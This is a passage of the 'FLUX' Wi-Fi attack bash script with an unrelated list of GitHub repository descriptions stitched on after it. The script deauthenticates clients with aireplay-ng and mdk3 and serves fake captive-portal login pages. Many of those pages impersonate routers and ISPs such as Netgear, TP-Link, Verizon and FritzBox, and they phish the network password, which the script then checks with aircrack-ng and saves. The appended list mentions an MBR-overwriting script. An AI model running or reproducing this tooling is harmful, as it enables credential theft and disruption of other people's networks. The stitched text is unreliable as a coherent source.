CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" fi CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) if echo \$CLIENTE_MAC| grep -q x; then CLIENTE_FABRICANTE=\"unknown\" fi CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" done echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "let i=\$(date +%s)-\$timestamp sleep 1">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "sleep 5 killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device let i=\$i+5">>$DUMP_PATH/handcheck fi echo "done clear echo \"1\" > $DUMP_PATH/status.txt sleep 7 killall mdk3 &>$flux_output_device killall aireplay-ng &>$flux_output_device killall airbase-ng &>$flux_output_device kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device echo \" FLUX $version by ghost SSID: $Host_SSID BSSID: $Host_MAC ($Host_MAC_MODEL) Channel: $Host_CHAN Security: $Host_ENC Time: \$ih\$horas:\$im\$minutos:\$is\$segundos Password: \$(cat $DUMP_PATH/data.txt) \" >\"$HOME/$Host_SSID-password.txt\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\" ">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck fi echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck chmod +x $DUMP_PATH/handcheck } ############################################# < ATTACK > ############################################ ############################################## < STUFF > ############################################ # Deauth all function deauthall { xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & } function deauthmdk3 { echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & mdk3PID=$! } # Deauth to a specific target function deauthesp { sleep 2 xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & } # Close all processes function matartodo { killall aireplay-ng &>$flux_output_device kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall xterm &>$flux_output_device } ######################################### < INTERFACE WEB > ######################################## # Create the contents for the web interface function NEUTRA { if [ ! -d $DUMP_PATH/data ]; then mkdir $DUMP_PATH/data fi source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device rm $DUMP_PATH/file.zip &>$flux_output_device echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> </head> <body> <!-- final page --> <div id=\"done\" data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3> </div> </div> </body> </html>" > $DUMP_PATH/data/final.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Error page --> <div data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3> <a href=\"index.htm\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.htm'\">$DIALOG_WEB_BACK</a> </div> </div> </body> </html>" > $DUMP_PATH/data/error.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Main page --> <div data-role=\"page\" data-theme=\"a\"> <div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\"> <fieldset> <form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\"> </br> <div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\"> <div>ESSID: <u>$Host_SSID</u></div> <div>BSSID: <u>$Host_MAC</u></div> <div>Channel: <u>$Host_CHAN</u></div> </div> <div style=\"text-align:center;\"> <br><label>$DIALOG_WEB_INFO</label></br> </div> <div class=\"ui-field-contain\" > <label for=\"key1\">$DIALOG_WEB_INPUT</label> <input id=\"key1\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/> </div> <input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/> </form> </fieldset> </div> </div> <script src=\"js/main.js\"></script> <script> $.extend( $.validator.messages, { required: \"$DIALOG_WEB_ERROR_MSG\", maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ), minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )}); </script> </body> </html>" > $DUMP_PATH/data/index.htm } # Functions to populate the content for the custom phishing pages function ARRIS { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data } function BELKIN { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data } function NETGEAR { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data } function ARRIS2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data } function NETGEAR2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data } function TPLINK { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/tplink/* $DUMP_PATH/data } function VODAFONE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data } function VERIZON { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data cp $WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data } function HUAWEI { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data } function ZIGGO_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data } function KPN_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data } function ZIGGO2016_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data } function FRITZBOX_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data } function FRITZBOX_ENG { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data } function GENEXIS_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data } function Login-Netgear { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Netgear/* $DUMP_PATH/data } function Login-Xfinity { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Xfinity/* $DUMP_PATH/data } function Telekom { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/telekom/* $DUMP_PATH/data } function google { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/google_de/* $DUMP_PATH/data } function MOVISTAR_ES { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/movistar_esp/* $DUMP_PATH/data } ######################################### < INTERFACE WEB > ######################################## top && setresolution && setinterface
kestra-io / Plugin ScriptsPlugin to orchestrate custom scripts in any language including Python, Node.js, R, Shell, PowerShell, and more.
giuliano-t / OpenAI To FreeCAD WorkflowThis project uses a Large Language Model (LLM) with Retrieval-Augmented Generation (RAG) to convert natural language descriptions into executable FreeCAD Python scripts for 3D modeling.
HaritaLT / Nodejs Appium Multiple AppsA sample repo to help you install multiple apps in Real Devices on LambdaTest using the Appium & NodeJS Language. Run your python automation test scripts on Lambdatest.
rolandbrake / PiscriptPiscript is a lightweight scripting language inspired by Python, built in C for speed and simplicity. It features a built-in 128x128 pixel graphics display and supports functional programming, matrix math, and WebAssembly via Emscripten. Ideal for learning, experimentation, and building retro-style visual programs.
Itzsten / Python MBR OverwritingA simple script to overwrite the MBR (Master Boot Record) using the Python coding language. This is only for educational purposes only, and I'm not responsible for any damage caused using this!
dawoodkhatri1 / Email Spam Detection Using PythonText classification is a fundamental task in natural language processing (NLP), used widely for spam detection, sentiment analysis, and categorization of textual data. In this Python script, we delve into building a text classification pipeline using a Naive Bayes classifier with TF-IDF (Term Frequency-Inverse Document Frequency) features.
d2cml-ai / 14.388 PyThis material has been created based on the tutorials of the course 14.388 Inference on Causal and Structural Parameters Using ML and AI in the Department of Economics at MIT taught by Professor Victor Chernozukhov. All the scripts were in R and we decided to translate them into Python, so students can manage both programing languages. Jannis Kueck and V. Chernozukhov have also published the original R Codes in Kaggle. In adition, we included tutorials on Heterogenous Treatment Effects Using Causal Trees and Causal Forest from Susan Athey’s Machine Learning and Causal Inference course. We aim to add more empirical examples were the ML and CI tools can be applied using both programming languages.
HaritaLT / Nodejs Appium Custom App IdA sample repo to help you install apps in Real Devices using Custom App ID on LambdaTest using Appium & NodeJS Language. Run your python automation test scripts on Lambdatest.
ragazzi-robotics / RagazRagaz aims be a fast, safe and powerful language with syntax closest to default python which allow you to create from simple scripts to complex systems in a code easier to read, write and maintain than other system languages with the same purpose (C/C++, Rust, etc).
